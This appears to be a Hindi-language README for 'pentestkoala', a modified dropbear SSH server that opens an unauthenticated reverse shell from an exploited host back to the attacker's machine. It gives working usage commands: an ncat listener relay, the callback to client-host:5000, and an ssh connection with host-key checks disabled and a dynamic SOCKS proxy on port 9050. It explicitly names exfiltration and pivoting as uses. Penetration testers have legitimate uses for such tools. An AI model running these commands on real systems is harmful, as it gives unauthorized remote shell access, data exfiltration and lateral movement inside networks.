mrschyte/pentestkoalaएक संशोधित dropbear सर्वर जो क्लाइंट के रूप में कार्य करता है और प्रमाणीकरण रहित लॉगिन की अनुमति देता है।
Koala, dropbear SSH सर्वर का एक पैच किया गया संस्करण है जो किसी पोर्ट से बंधने के बजाय किसी दूरस्थ क्लाइंट से जुड़कर रिवर्स शेल खोलता है।
यह एक शोषित मशीन पर pty टर्मिनल प्राप्त करने और SSH पोर्ट फॉरवर्डिंग के माध्यम से डेटा के सुरक्षित बहिर्वाह के लिए उपयोगी है। डायनेमिक SSH पोर्ट फॉरवर्डिंग सुविधा का उपयोग करके पिवोटिंग भी की जा सकती है।
[उपयोग]
SSH कनेक्शन सुनने के लिए क्लाइंट पर निम्नलिखित कमांड चलाएं:
$ ncat -lvp 5000 --sh-exec 'ncat -lvp 9999'
शोषित होस्ट पर चलाएं:
$ ./dropbear -p client-host:5000
अब क्लाइंट पर, शेल खोलने के लिए पोर्ट 9999 से कनेक्ट करें:
$ ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null localhost -D9050 -p9999